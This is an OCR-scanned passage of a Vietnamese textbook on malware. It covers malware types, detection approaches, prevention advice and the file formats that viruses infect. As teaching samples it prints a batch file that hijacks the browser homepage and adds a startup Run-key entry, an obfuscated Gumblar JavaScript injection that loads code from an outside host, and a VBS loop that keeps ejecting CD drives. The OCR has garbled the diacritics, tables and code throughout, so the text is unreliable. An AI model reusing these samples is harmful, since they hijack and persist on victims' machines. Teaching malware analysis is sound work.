email. Khi siu nay 1ay nhiém vao hé théng, né thuong c¢b ging tim kiém
s6 dia chi va tu gii ban than nd dén cac dia chi thu nhit dugc. Viée gui
dong thoi cho toan bd cac dia chi thuong giy qua tai cho mang hoic cho
may cht mail. Netsky, Mydoom 14 vi du cho thé loai nay.
1.2.2.3 Trojan Horse

La loai ma ddc hai dugc dat theo su tich “Ngua thanh Troy”. Trojan
horse khong ty nhan ban tuy nhién no 1y vao hé thong voi biéu hién rat
on hoa nhung thuc chit bén trong co an chita cac doan ma v6i muc dich
gay hai. Trojan c6 thé lya chon mot trong 3 phuong thirc dé gay hai:

Tiép tuc thuc thi cic chtic ning ctia chuong trinh ma nd bam vao, bén
canh doé thuc thi cac hoat dong gay hai mdt cach riéng biét (vi du nhu gtri
mot tro choi du cho nguoi dung st dung, bén canh dé 1a mét chuong
trinh danh cp password)

Tiép tuc thyc thi cac chirc ning ctia chuong trinh ma né bam vao,
nhung stra d6i mot s6 chirc nang dé gay ton hai (vi du nhu mdt trojan gia
1ap mot ctra s6 login dé 14y password) hodc che dau cac hanh dong pha
hoai khac (vi du nhu trojan che d4u cho céc tién trinh doc hai khac bang

cach tit cac hién thi cua hé thong)
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Thuc thi luén mét chuong trinh gy hai bang cach nap dudi danh mot
chuong trinh khong c6 hai (vi du nhu mot trojan dugc gidi thi¢u nhu la
mot cho choi hodc mot tool trén mang, ngudi dung chi can kich hoat file
nay 1a 1ap tac dit liéu trén PC sé& bi xoa hét)

1.2.2.4 Malicious Mobile Code

La mot dang ma phﬁn mém c¢6 thé duoc g tur xa vao dé chay trén mdt
hé théng ma khong can dén 101 goi thuc hién ctia ngudi dung hé théng do.
Malicious Mobile Code duoc coi la khac véi virus, worm & dac tinh 1a
né khong nhiém vao file va khong tim cach tu phat tan. Thay vi khai
thac mot diém yéu bao mat xac dinh nao do, kiéu tn cong nay thudng
tac dong dén hé thong bang cach tan dung cac quyén uu tién ngam dinh
dé chay ma tur xa. Cac cong cu lap trinh nhu Java, ActiveX, JavaScript,
VBScript 1a moi trudng tot cho Malicious mobile code. Mot trong nhimng
vi du néi tiéng cia kiéu tin cong nay 1a Nimda, str dung JavaScript.

Kiéu tin cong nay ciia Nimda thuong dugc biét dén nhu mot tan cong
hdn hop (Blended Atatck). Cudc tin cong c6 thé di t6i bang mot email
khi nguoi dung md mot email doc bang web-browser. Sau khi nhiém vao
may nay, Nimda s& cd gang st dung s6 dia chi email ctia may d6 dé phat
tan t6i cac may khac. Mit khéc, tir may d3 bi nhiém, Nimda c6 ging quét
cac may khac trong mang cé thu muc chia sé¢ ma khong bao mat, Nimda
s& dung dich vu NetBIOS nhu phuong tién dé chuyén file nhiém virus
t6i cac may do. Pong thoi Nimda c¢d gang do quét dé phat hién ra cac
may tinh c6 cai dich vu IIS c6 diém yéu bao mat cua Microsoft. Khi tim
thdy, n6 s& copy ban than no vio server. Néu mot web client co diém yéu
bao mat twong ung két ndi vio trang web nay, client d6 ciing bi nhiém
(lvu ¥ rang bi nhiém ma khong can “md email bi nhiém virus”). Qua
trinh nhidm virus s& lan tran theo cap s6 nhén.
1.2.2.5 Tracking Cookie

La mdt dang lam dung cookie dé theo ddi mot sd hanh dong
duyét web ctia ngudi st dung mot cach bat hop phap. Cookie 13 mot
file dir li€u chira thong tin vé viéc sir dung mdt trang web cu thé nao do6
ciia web-client. Muc tiéu cua viée duy tri cic cookie trong hé thong
mAy tinh nham cin ctr vao d6 dé tao ra giao dién, hanh vi ctia trang web

29



sao cho thich hgp va tuong ung vdi tung web-client. Tuy nhién tinh

niang nay lai bi lam dung dé tao thanh cidc phin mém gian diép

(spyware) nham thu thap thong tin riéng tu vé& hanh vi duyét web cia ca

nhan.
1.2.2.6 Phan mém gidn diép (Spyware)

La loai phan mém chuyén thu thap cac thong tin tir cic may chu (thong
thuong vi muc dich thuong mai) qua mang Internet ma khong c6 sy nhan
biét va cho phép cua chu may. Mot cach dién hinh, spyware dugc cai dat
mot cach bi mat nhu 1a mdt bod phan kém theo cia céc phﬁn mém mién
phi (freeware) va phan mém chia sé (shareware) ma ngudi ta ¢ thé tai
vé tir Internet. Mot khi di cai dat, spyware diéu phdi cac hoat dong cia
may chu trén Internet va ling 18 chuyén cac dir liéu thong tin dén mot
may khac (thuong la cua nhitng hang chuyén ban quang cao hodc cua
C4C tin tic). Phan mém gian diép ciling thu thap tin tirc vé dia chi thu dién
tr va ngay ca mat khau ciing nhu 1a s6 thé tin dung.

Khac véi worm va virus, Spyware khong c6 kha nang tu nhan ban.
1.2.2.7 Phan mém qudng cao (Adware)

Phan mém quang céo, rat hay c6 ¢ trong cac chuong trinh cai dat tai tir
trén mang. Mot ) phﬁn mém vo hai, nhung mot sb co kha nang hién thi
thong tin 18n man hinh, cudng ché ngudi sir dung.
1.2.2.8 Attacker Tool
La nhiing bd cong cu tan cong co thé sir dung dé day cac phan mém doc
hai vao trong hé thdng. Cac bd cong cu nay c6 kha ning giup cho ké tin
cong co thé truy nhap bat hop phap vao hé théng hoic 1am cho hé théng
bi lay nhim m3 doc hai. Khi duoc tai vao trong hé thdng bang cac doan
ma doc hai, Attacker tool ¢ thé chinh 13 mét phr:fm cua doan ma doc do
(vi du nhu trong mdt trojan) hodc nd s& dugc tai vao hé théng sau khi
nhiém. Vi du nhu mot hé théng da bi nhiém mot loai worm, worm nay
c6 thé diéu khién hé théng tu dong két ndi dén mot web-site nao do, tai
attacker tool tur site do va cai dat Attacker tool vao hé théng. Attacker
tool thuong gap 1a backdoor va keylogger

- Backdoor 13 mot thuat ngir chung chi cac phan mém doc hai thudng
tri va doi 1énh diéu khién tir cac céng dich vu TCP hoac UDP. Mot cach
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don gian nhat, phan 16n cac backdoor cho phép mét ké tin cong thuc thi
mot s6 hanh dong trén may bi nhiém nhu truyén file, do mat khau, thuc
hién ma 1énh... Backdoor cling c¢o thé dugc xem xét dudi 2 dang:
Zoombie va Remote Administration Tool

- Zoombie (c6 thé doi lac goi 13 bot) 1a mot chuong trinh duogc cai dit
1én hé théng nhdm muc dich tin céng hé thong khac. Kiéu thong dung
nhit ciia Zoombie 1a cac Agent ding dé to chitc mot cudc tin cong
DDoS. Ké tan cong c6 thé cai Zoombie vao mot sd luong 16n cac may
tinh rdi ra 1énh tin céng cting mot lc. Trinoo va Tribe Flood Network 1a
hai Zoombie ndi tiéng.

- Remote Administration Tool 1a cac cong cu co6 san cta hé théng cho
phép thyc hién quyén quan tri tir xa. Tuy nhién hacker ciing c¢6 thé loi
dung tinh ning nay dé xam hai hé théng. Tan cong kiéu nay co thé bao
gém hanh dong theo ddi moi thir xudt hién trén man hinh cho dén tac
dong vao cAu hinh cua hé théng. Vi du vé cong cu RAT la: Back Orifice,
SubSeven...

- Keylogger 12 phan mém dugc dung dé bi mat ghi lai cac phim da duoc
nhan bang ban phim rdi gui ti hacker. Keylogger c6 thé ghi lai ndi dung
cua email, clia van ban, user name, password, thong tin bi mat...Vi du
mdt s6 loai keylogger nhu: KeySnatch, Spyster...

- Rootkits 1a tap hop cta cac file duoc cai dat 1én hé théng nham bién
d6i cac chirc nang chuan cta hé théng thanh cac chirc ning tiém an cac
tan cong nguy hiém. Vi du nhu trong hé thong Windows, Rootkit c6 thé
stra doi, thay thé file, hodc thuong tra trong bd nhd nham thay thé, stra
d6i cac 10i goi ham ciia hé diéu hanh. Rootkit thuong dugc dung dé cai
dat cac cong cu tan cong nhu cai backdoor, cai keylogger. Vi du vé
Rootkit la: LRKS5, Knark, Adore, Hack Defender.

- Web Browser Plug-in 1a phuong thirc cai ma doc hai thuc thi cuing vai
trinh duyét web. Khi duoc cai dat, kiéu ma doc hai nay sé theo di tat ca
cac hanh vi duyét web ctua nguodi dung (vi du nhu tén web site da truy
nhap) sau d6 giri thong tin ra ngoai. Mot dang khac 1a phan mém gién

di€p c6 chuc nang quay sb dién thoai tu dong, n6 s€ tu dong kich hoat
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modem va két ndi dén mot sb dién thoai ngﬁm dinh mac du khong duoc
phép cua chu nhan.

- Email Generator la nhitng chuong trinh cho phép tao ra va giri di mot
s6 luong 16n cac email. Ma doc hai co thé gieo rac cac Email generator
vao trong hé thdng. Cac chuong trinh gian diép, spam, ma doc hai c6 thé
dugc dinh kém vao cac email dugc sinh 1a tir Email generator va guri to1
cac dia chi co trong s6 dia chi cta may bi nhiém.

- Attacker Toolkit 14 cac bd cong cu ¢ thé duoc tai xudng va cai vao hé
thong khi hé théng da bi khéng ché bai phan mém doc hai. Cac cong cu
kiéu nhu cac bo do quét cong (port scanner), bd pha mat khau (password
cracker), bo do quét goi tin (Packet Sniffer) chinh 1a cac Attacker Toolkit
thuong hay dugc str dung.
1.2.2.9 Phishing
La mot hinh thtrc tin cong thudong cé thé xem 1a két hop vi ma doc hai.
Phishing 1a phuong thirc du nguoi dung két ndi va st dung mot hé théng
may tinh gia mao nham lam cho ngudi dung tiét 1o cac thong tin bi mat
vé danh tinh (vi du nhu mat khau, s tai khoan, thong tin ca nhan...). Ké
tan cong phishing thudng tao ra trang web hoic email ¢ hinh thic gidng
hét nhu cac trang web hoac email ma nan nhan thuong hay st dung nhu
trang cuia Ngan hang, ciia cong ty phat hanh thé tin dung... Email hodc
trang web gia mao nay s& dé nghi nan nhan thay d6i hodc cung cip céc
thong tin bi mat vé tai khoan, vé mat khau... Cac thong tin nay s€ duoc
st dung dé trom tién truc tiép trong tai khoan hodc duogc sir dung vao céac

muc dich bat hop phap khac.
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Phisher Opportunities to Block:

. Initial Web Site Compromise

. Mass Phishing E-Mail

. Victim Clicks on Misleading URL

. Phish Web Site is Displayed

. Victim Submits Account Information

%

Compromises a host
and installs a phish Web site
and mass-mailer

>

Sends out phishing e- mall
<

Vlctlm clicks a phish URL

=

Phish Web site is vnewed

4

=2 =
=2 =

Victim Web Server Victim submits information Victim Users

Hinh 1-8 M6 ta vé Phishing

1.2.2.10 Virus Hoax

La cac canh bao gia vé virus. Cac canh bao gia nay thuong nap dudi
dang mot yéu cau khén cép dé bao vé hé théng. Muc ti€u cua canh bao
virus gia 1a c6 ging 16i kéo moi ngudi glri canh bao cang nhiéu cang tot
qua email. Ban than canh bao gia 1a khong gdy nguy hiém truc tiép
nhung nhing thu giri dé canh bao c6 thé chita ma doc hai hodc trong
canh bao gia co chira cac chi dan vé thiét lap lai hé diéu hanh, xo4 file
1am nguy hai t6i hé thdng. Kiéu canh bao gia nay ciing giy ton thoi gian
va quay roi bo phan hd tro ki thuat khi c6 qué nhiéu ngudi goi dén va
yéu cau dich vu.
1.3 Cac phuwong phap phat hién ma doc

Mi doc c6 rat nhiéu hinh thai khac nhau va dé phat hién duoc ma doc
ton tai trong may tinh, trong hé théng mang 13 viéc khong dé dang. Poi
v6i ngudi dung thong thuong ho thudng chi nhan biét kha nang may tinh
bi nhiém m3 doc thong qua mot sé dau hiéu nhu :
- Khoa, khdng cho chay cac chuong trinh hé théng (cmd, regedit, tasl
manager, gpedit, run,..)

- Khi chay mot chuong trinh thudng thong béo 15i, chay céc file *.exe,
* com,... déu bi thay thé boi cac chuong trinh khac.

- May tinh chay cham bét thuong, cham két ni mang.
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- Nhan thay c6 vé nhu c6 tién trinh ndo d6 dang chay ton nhiéu tai
nguyén hé thdng, tbn RAM, CPU nhung chua tim ra.

- An file, thu muc , tao cac thu muc la, c4c biéu tuong la.

- Thay ddi dja chi IP khéng vao duoc mang

- Ngoai ra ¢6 nhiéu dau hiéu khac cho thady may tinh c6 thé bi nhiém
ma doc. Tuy nhién ddi khi cac dau hiéu nay 1a két qua xung dot gitra cac
phan mém chay trén may tinh, hoic gitta phan cang va phan mém khong
tuong thich.

Bén canh d6, nguoi ding kho c6 thé tim duoc vi tri chinh xac ma doc
nam & dau trong may tinh, trong hé thong mang.

Pé c6 thé xac dinh dugc vi tri va phat hién thuc sy ma doc nam ¢ dau
thi ngudi dung c6 thé sir dung mot sé phan mém phat hién va phong
chéng ma doc. Céc nha khoa hoc d tén nhiéu cong sic nghién ciu, xay
dung cac hé théng phong chdng virus may tinh theo nhiéu huéng tiép
can, ky thuat khac nhau .Cho dén nay, c6 ba ky thuat nhan dang virus
may tinh di duoc ap dung: dya vao chudi nhan dang virus (signature-
based approach), dua vao hanh vi nghi ngo virus (suspicious
behavior-based approach) va dwa vao y dinh virus (intention-based
approach).

Phwong phdp phdt hién dwa vao chudi nhan dgng

Hoat dong theo nguyén Iy nhan dang mau, cac AV sirdung mot CSDL
chira mau virus (ID-virus library). Mdi khi c6 virus méi, cac chuyén gia
anti-virus s& giai ma, trich chon va cap nhat chudi nhan dang virus vao
thu vién. Thong tin vé d6i tuong chan doan (ghi nhan tir hé théng dich)
cuing véi théng tin caa virus (trong thu vién mau) s& cho két luan vé tinh
trang ciia d6i tuong.

Nhan dang mau gip AV phét hién cac virus da biét trén tap dirliéu
chan doan véi d6 chinh xac cao. Tuy nhién phuong phap nay cé kha
nhiéu nhuoc diém:

- Cong kénh: Kich thudc thuvién mau tyléthuan véi sdvirus da cap nhat
va tylé nghich véi toc dotim kiém.
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- Bi dong: AV chi hiéu qua trén cac mau virus di cap nhat, khong dap
ng kip thoi dich bénh do tén thoi gian cho viéc thu thap mau virus mai,
giai ma, phan tich, 1ap thuat giai, cap nhat phién ban maéi, phat hanh. ..

- Nham Ian: Céc hacker cb ging tao vo boc an toan cho virus. Khi AV
so mau chan doan gidng vai virus, dit liéu sach cua hé théng sé bi tay
(clean) nham.

Phwong phap phadt hién dwa trén hanh vi khac vdi viée phat hién dua
vao bé ngoai, ciu tric tép tin co san la nd xac dinh cac hanh dong thuc
hién cua m3 doc hon 1a viéc x4 dinh ciu tric nhi phan ctia chuong trinh.
Céac chuong trinh khong gidng véi ¢t phap hay cau trac nhung c6 hanh
vi gibng véi nhitng hanh vi da xac dinh trudc 14 da xac dinh dugc no 1a
ma doc hay khong.

Co ché nay giup cho viéc xac dinh ma doc mdt cach hiéu qua ddi voi
cac loai ma doc khong ngimg tao ra cac bién doi ma 1énh cua nd. Phuong
phap phat hién hanh vi luon theo ddi cac bién doi vé tai nguyén hé thong
va cac dich vu ma cac ma ddc khi st dung s€ ngay lap tic bi theo doi va
quan sat hanh vi.

Mot chuong trinh phat hién hanh vi gdm cac thanh phan sau:

Thu thap dir liéu: Thanh phan nay thu thap cac thong tin dong va tinh
duogc ghi lai.

Chuyén d6i: Thanh phan nay s& chuyén cac thong thu thap duoc bdi mo
dun thu thap dit lidu vao noi trung gian dé luu vao co sd dir licu.

Thuéat todn so sanh: Pugc st dung dé so sanh céc phén dai dién vo1 chir
ky hanh vi.
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Thu thap di lién

|

Chuyén doi

—

' i r
Trung gian N Thuét toan
Co so di Két qua

liéu hanh vi

Hinh 1-9 Mo hinh chuong trinh quét hanh vi

Phat hién virus dwa vao y dinh

Do héng Sandrasoft (An D9) dé xudng tir ndm 2005, tiép can intention-
based (tén ma Rudra) [90] lwu giit hinh anh chi tiét caa may tinh trong
tinh trang sach, sau do tiép tuc theo ddi trang thai hé théng. Nhimg thay
d6i quan trong trong tap tin, cau hinh hé théng hay HPH déu duoc canh
bao nhu mot mdi hiém hoa tiém tang.

Khi nhiing thay d6i ndy dugc danh gia nguy hiém, hé théng s& khoi
phuc may vé tinhtrang ban dau. Mic du don gian nhung tiép can nay to
ra kha hi€u quavi n6 cé thé bao vémay tinh khoi céc mbi de doa chua
duoc biét dén, ké ca virus may tinh.

Trong thuc té, tiép can “quay véqua khi” di dugc nhiéu hing phan
mém hé théng sidung: Symantec [89] c6 Norton Ghost va Norton
Goback; VMware [94] cO System Image Snapshot; Faronics [74] co
Deep Freeze... Ban than Windows XP ciing c¢6 chitrc niang phuc hdi hé
thong bang System Restore. Tuy nhién tiép can nay kém hiéu qua khi
cac diém trang thai dugc ghi nhan lac hé théng bi nhiém virus la.

Mit khac, hé thng ciing can bo nhd ngoai di 1én dé luu toan bo hinh
anh hé thong qua timg thoi diém [39].
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1.4 Cac phwong phap phong chong ma doc
Hién gid viéc phong va chdng mi doc 1a yéu cdu chung cua ngudi sir
dung may tinh va hé théng mang. Hién tai nguoi dung thuong st dung
cac phan mém diét ma doc, tuy nhién hién giod ma doc xuét hién theo
timg gio, timg ngay vi thé hau hét cac chuong trinh diét ma doc khong
cap nhat kip cac mau phu hgp. Vi vay bén canh gidi phap 1a sir dung
phan mém diét md doc dung cach thi ngudi dung can phai c6 nhimg
chinh sach sir dung may tinh phu hgp nhu sau:
- St dung phan mém diét mé doc, cap nhat thudng xuyén.
- Quét virus dinh ky.
- Ludn quét cac USB, 6 cting gan ngoai khi cim vao may tinh.
- Duyét web an toan, thiét 1ap bao mat cho trinh duyét, tranh click
nhitng link quang céo hoac bat thuong.
- Quét cAc file tai vé tur Internet
- Khéng kich vao link hay tép dinh kém trong email khi chua chac chan
vé do an toan caa ching.
- Tai va cai dat phan mém tir cac website tin cay.
- Sir dung Sandbox, may 4o, cé4c trang kiém tra truc tuyén dé kiém thu
chuong trinh néu khdng chac chan vé tinh an toan caa no.
- VVan dung kinh nghiém st dung may tinh
+ Phat hién su hoat dong khac thuong cia may tinh
+ Kiém soat cac (ing dung dang hoat dong
+ Loai bo mot sé tinh niang cua HPH c6 thé tao diéu kién lay
nhiém cho virus
- Cap nhat cac ban va 15i hé diéu hanh
- Bao vé dur liéu may tinh
+ Sao luu dir liéu theo chu ky
+ Tao cac dit liéu phuc hdi cho toan hé thdng

37



Cau hoi on tap.
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Chuong 2
CO CHE HOAT PONG CUA MA PQC

Nghién ctru ma doc trén may tinh ludn gin véi viée phan tich cac dinh
dang dit liéu vat chu. Mdi loai ma doc chi 1ay vao mot s6 dinh dang dir
liéu nhét dinh. Phan tich cac dinh dang dir liéu ma ma doc hay st dung
1am mé trudng lay lan, cu tra 13 co s& dé phan loai dit, giam thiéu qua
trinh phat hién (loai bot cac di twong chic chin sach khoi chan doan) va
gia ting do tin cdy ciia hé théng (giam nguy co bo sot ddi tugng chan
doan). Céac dinh dang vat chu chra ma thi hanh co thé nhiém ma doc

gdm: tap tin vin ban, tip tin chuong trinh, tip tin MS Office va miu tin

khéi dong
Stt Vat chu Loai virus Cac dinh dang Kiéu
File vi Tap tin 16 BAT
ile virus P—— .
1 | Tap tin van ban Worm T?p t!n scnlpt VBS, JS
Trojan Tap tin registry REG
Tap tin siéu van ban HTT, HTA
File virus | Tap tin I&nh COM
2 | Tap tin chwang trinh Worm Tap tin thi hanh EXE, SCR
Trojan | Tap tin thu vién DLL, CPL, SYS, VXD
Tap tin twr liéu DOC, DOT
3 | Tap tin MS Office Macro virus | Tap tin bang tinh XLS, XLT
Tap tin trinh dién PPT, POT
M&u tin khai dong hé
didu hanh dia mém /A
g . s . Mau tin khdi déng hé
4 | Mau tin kh&i dong Boot virus &du hanh dia cimg #N/A
Ma&u tin khéi tao phan
khu dia clrng /A

Hinh 2-1: Céac dinh dang vat cha chira ma thuc thi ¢6 thé bj nhiém virus

2.1 Céc dinh dang dir ligu nhiém ma doc

2.1.1 Pinh dang tap tin vian ban

Tap vin ban (text file) 1a to chic file don gian, dugc chia lam hai loai:

- Tap vin ban 7 bit: chira cac ky tu ASCII chuan (7 bit) ¢ thé g truc
tiép tir ban phim, ma tir 32 (khoang trang) dén 126 (ky tu~). Tap vian ban
7 bit dung chira ndi dung chuong trinh ngudn nhu PAS, ASM, C, CPP,
JS, VBS...

- Tép vin ban 8 bit: ¢6 thém cac ky tw ASCII mé rong 8 bit (tir 128 dén
255)
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stt dung ky tu graphic trang tri bang, hinh hop hodc thiét 1ap font chir

riéng. Do hién nay céc trinh bién dich/thong dich 1énh chi hd tro cac ky

tu 7 bit nén chua phat hién cau I¢nh virus trong cac tap tin van ban 8 bit.

Pé thyc thi cac cau lénh trong tap tin van ban 7 bit, hé théng phai dich

chung sang ma may. Do khong phai hé thong ndo ciling c6 du b dich

1énh cua tat ca cadc ngoén ngir 1ap trinh, nén chi vai loai tap tin van ban 7

bit 1a c6 nguy co nhiém virus (Bang P2.2), d6 1a céc tap tin chira tip 1énh

clia cac ngdn ngit 1ap trinh duoc tich hop sin trong hé thong (Hinh P2.1).

stt Loai tap tin Mo ta Kiéu Thi hanh

1 | Tap |énh theo 16 Batch command BAT | Internal Command Interpreter
2 | Tap lénh siéu van ban | Hyper Text HTT | HTML Application Host

3 | Tap lénh khdi tao System Initiation INI | Windows Startup

4 | Tap lénh Java Java Script JS | Windows Based Script Host
5 | Tap dang ky hé théng | System registry REG | Registry Editor

6 | Tap lénh Visual Basic | Visual Basic Script | VBS | Windows Based Script Host

Hinh 2-2 : Cac loai tap tin van ban

Dau hiéu nhan dang cac tap van ban 7-bit c6 thé nhiém virus la:

- Dit lidu byte (32-127)

- Chira cac tir khéa cua cac ngdn ngir 1ap trinh tich hop sin trong hé

thong

(Java Script, VB Script, HTML Application, Command Interpreter...).

Tap l&énh danh cho |&i
bi&n dich, théng dich

san co cla hé théng

/ Chuwong trinh nguén

/ Van ban 7-bits
Tap van ban

\ Van ban 7-bits khac

Tap lénh cua cac ngén
ngl¥ l&p trinh khac

Van ban 8-bits

Duéi ddy 1a mot dang malware nam trong file bat.

No6i dung nhu sau:

@ECHO OFF
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REG ADD HKCU\Software\Microsoft\InternetExplorer\Main /v StartPage /t REG_SZ
/dhttp://pcgyaan.wordpress.com /f

REG ADD HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v winlogon /t REG_SZ
/d %windir%\force.exe /f

copy /y Wallpaperl.omp ”"%USERPROFILE%\Local Settings\Application Data\Microsoft”
RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters

RUNDLL32.exe USER32.DLL,SwapMouseButton

rename song.exe force.exe

move /y force.exe “%windir%”

del /Q force.bat

del /Q wallpaper.bmp

MAau mi doc trong dinh dang Java js

<script language=javascript><!--

(function(){var XXX='%";var
ZjWrl='_76_61r_20_61_3d_22_53criptE_6eg_69ne_22_2cb_3d_22V_65r_73io_6e()+_22_2cj_3d_22_
22_2cu_3d_6eav_69_67a_74or_2e_75_73er_41g_65nt_3bif(_28u_2e_69ndexOf_28_22W_69n_22)_3
e0)_26_26_28_75_2ein_64exOf(_22N_54_20_36_22) 3c0_29 26_26(do_63ument_2ecook_69_65_2
ei_6ed_65x0Of(_22_6die_6b_3d_31_22_29 3c0_29_26_26(t_79p_650f(z_72_76_7at_73)_21_3dt_79p
eof(_22A_22)))_7bzr_76zts_3d_22A_22_3b_65v_611(_22if(wi_bedow_2e_22+a+_22)_6a_3dj+_22+a
+_22_4d_61jo_72_22_2bb_2ba+_22Minor_22+b+a+_22_42_75ild_22+b+_22_6a_3b_22)_3bd_6fcu
ment_2e_77r_69te_28_22_3cscript_20sr_63_3d_2f_2fgumblar_2e_63n_2f_72_73s_2f_3fi_64_3d_22
+j_2b_22_3e_3c_bc_2fscript_3e_22_29_3b_7d';var
xtS=ZjWrl.replace(/_/g,xXx);eval(unescape(xtS))})();

--></script>

Mau ma doc trong dinh dang VBS

Set oWMP = CreateObject("WMPlayer.OCX.7") Set colCDROMs =
OWMP.cdromCollection do if colCDROMs.Count >= 1 then For i = 0 to
CcolCDROMs.Count - 1 colCDROMs.Item(i).Eject Next For i = 0 to

CcolCDROMs.Count - 1 colCDROMs.Item(i).Eject Next End If wscript.sleep 100
loop
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2.1.2 Pinh dang trong tép tin chwong trinh

Céc tap tin chuong trinh (program file), con goi la Ung dung

(application) hay phan mém (software), duoc bién dich thanh céc t6 chirc

file thuc thi trong moi trudng cia hé diéu hanh. Péi véi DOS/Windows,

ngoai hai loai tap tin chuong trinh chinh 13 COM va EXE con c6 céc t6
chtrc thuc thi khac nhu SYS, DLL, CPL, SCR, OCX... Trong qua trinh
phat trién, Microsoft da st dung nhiéu dinh dang thuc thi phtrc tap. Khi

nap vao bd nhdg, tap tin chuong trinh s€ dugc hé diéu hanh thuc thi,

khong quan tdm ngudn goc va mirc do nguy hi€ém cua cac 1énh nay. Do

vay, cac tap tin chuong trinh 1a mgt trong nhiing ké hé bao mat quan

trong ctia hé thong.

Té chire Loal Kidu Kidu con Hé diéu hanh | 1hi hanh
: ; trwc tiép
Command | DOS-COM | COM | COM DOS 16 bit Co
DOS-EXE | EXE | EXE DOS 16 bit Co
EXE | EXE Windows 16 bit | Co
NE-EXE
DLL | DLL Windows 16 bit | Khéng
Executable EXE | EXE, SCR... | Windows 32 bit | Co
PE-EXE
DLL gléliisgpsﬁ - Windows 32 bit | Khdng
LE-EXE | VXD | VXD Windows 32 bit | Khéng

Hinh 2-3: Cac loai tép tin chuong trinh

EXE

Program Files

COM

DOS-EXE

/ EXE-16 bits
NE-EXE \
DLL-16 bits
/ EXE-32 bits
PE-EXE
\ DLL-32 bits
LE-EXE

Hinh 2-4 : Phan loai céac tép tin chuwong trinh
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Phan tich dinh dang tap tin 13 hoat dong kha phd bién trong nhiéu linh
vuc phﬁn mém (66 hoa, am thanh, lién lac, bao mat, hé théng. ..) von ti
mi, ton nhiéu toi gian va cong suc. Co rat nhiéu tai liéu néi vé cac loai
dinh dang tap tin, nén trong phan nay gi4o trinh nay khong di siu phan
tich k¥ thudt ma tap trung vao cong tac phan loai

Sinh vién c6 thé tham khéo thém cac dinh dang tép tin tai dia chi
http://www.wotsit.org.

2.1.2.1 Dinh dang COM (DOS Command)

COM la dinh dang thi hanh don gian trong mo hinh phan doan
segment:offset cia MSDOS. Céc tap tin COM chtra hinh anh dir 1iéu cua
doan bd nh¢ luc file dugc nap vao dia chi Segment:100h. Do hoat dong

trong mot phan doan nén kich thudc file COM gidi han trong pham Vi
64KB. Khi lay vao file COM, virus sé thay diém vao 1énh dau tién bang
lénh goi (ma may E8h) hodc 1énh nhay (EBh nhay gan dudi 128 byte,
E9h nhay xa trén 128 byte) dén thu tuc xur 1y cia virus (Hinh ). Pic
diém nhan dang céc tip COM c6 thé nhiém virus nhu sau:

- Kich thude dust 64KB

- Dt li¢u byte trai dai trén bd md ASCII (0-255)

- C6 1énh nhay (E9h, EBh) hodc 1énh goi (E8h) dau file.
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a.Biéudiénbyte | E9 [ E6 [ 02 [ 1B | 5B | 50 [ 32 | 4A | 0D | 20 | 20 | 4E |

E9: M3 l&nh nhay (xa hon 128 byte) dén thi tuc khéi tao

b. Biéu dién lénh may

wa - 0100 E9E602 JMP  03E9 /I E9: Nhay dén thi tuc khéi tao
wo 0 0103 1B5B50 SBE  BX,[BP+DI+50]

wo - 0106 324A0D XOR  CL,[BP+SI+0D]

oo 00109 2020 AND  [BX+SI,AH

o 0108 4E DEC Sl

wok ;0 03ES 50 PUSH AX /I Thi tuc khéi tao

wo : 03EA 53 PUSH BX

wo : 03EB  B93EDD MOV CX,003E

wo : 03EE BAD901 MOV  DX,0109

xxxx :03F1  ESFSFE CALL 02EC {/ E8: ma may I&nh Call

Hinh 2-5: M6 ta dix liéu mét tap tin COM tiéu biéu

a. Biéu dién vector dit liéu byte ctia tap tin COM

b. Biéu dién 1énh may ctia 12 byte dau va cac lénh trong thu tuc khoi
tao

Trong thoi ky dau ctia DOS, do don gian va nhd gon nén dinh dang
COM rat dé bi file virus tin cong. Do han ché vé kich thuéc va kha ning
truy nhap bd nhd nén cac hacker di chuyén hudéng tan cong sang dinh
dang EXE (Executable File)
2.1.2.2 Dinh dgng EXE (DOS Executable)
Dinh dang EXE cho phép m¢ rong kich thude tap tin 16n hon 64KB
bang cach sir dung mdi phan doan bd nhé riéng biét cho timg thanh ghi
CS, DS, ES, SS. Vi cach td chirc nay, EXE str dung céu trac dau file
(goi 1a EXE header) chira thong tin cua file va cac tham sé giup hé diéu
hanh dinh vi b0 nhg, tdi ma I¢nh, dir li¢u, ngan xép va khoi tao gia tri CAC
thanh ghi CPU trudce khi thuc thi chuong trinh.
Lay vao EXE, file virus ghép ma 1énh vao cudi file rdi diéu chinh CS:IP
trd dén dia chi cta no. Céc tap EXE co dac diém nhan dang nhu sau:
- Word dau tap tin co tri‘'MZ’ hoac ‘ZM’
- Dir li€u byte, trai dai trén toan bang ma ASCII (0-255)
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- Thu tuc khoi tao trd dén dia chi thuc trén file (Header < CS:IP <
Filesize)

Hinh x mo ta cu trac dau file ciia mot tap tin EXE tiéu biéu. Hai byte
dau tién (4D-5A) biéu dién chudi ‘MZ’ nhan dang file EXE. Céc truong
tiép theo chira thong tin file va cac tham sb dinh vi. Pic biét truong 3Ch
c6 gia tri 00 (khong c6 bang thong tin bo sung). Néu khéc 0, truong nay
chtra con tré dén mot header khac dung cho NE-EXE (Windows 16 bit)
va PE-EXE (Windows 32 bit). Cac dinh dang nay s& duoc mo ta ¢ phan
tiép theo.

00000: 4D SABC 0008 000500200071 00 FF FF CC 00 /15A4D = MZ: dau hiéu EXE
00010: 0507 0000 1000 00 OO 1E QO OO 0O 01 00 90 08
00020: 0000 1E OO OO OO QA Q100000000 AB007200
00030: AD 00 00 00 00 00 00 00 0000 00 00 00 00 00 00 I/khac 0: tré dén header bd sung

Hinh 2-6: Cau tric dau file cta 1 file EXE tiéu bicu
2.1.2.3. Pinh dang NE-EXE
Khi giéi thiéu hé diéu hanh Windows 16 bit (Windows 3.xx), Microsoft
phai thay d6i dinh dang EXE cho phu hop voi tap 1énh cia CPU chay
trong ché do bao vé hodc 386 ting cudng... Thong tin bd sung cho file
NE-EXE duogc luu trit trong mot cAu trac dau file méi (goi la NE header),
dinh vi qua truong 3C cua cdu trac dau file DOS-EXE cii. Header bo
sung nay dugc bat dau bang hai byte 4E-45 (chudi ‘NE’). Cac trudng
tiép theo chua thong tin file NE-EXE (vi du file thuc thi EXE thuc, hay
1a cac thu vién lién két dong DLL...) va cac tham s dinh vi danh cho hé
thdng trong cac diéu kién thuc thi khac nhau.
Hinh mo ta cau trac dau file cua tap tin thi hanh trong méi trudng
Windows 16 bit. Cu triic ndy gdom hai phan. Phan dau 14 cau trac dau
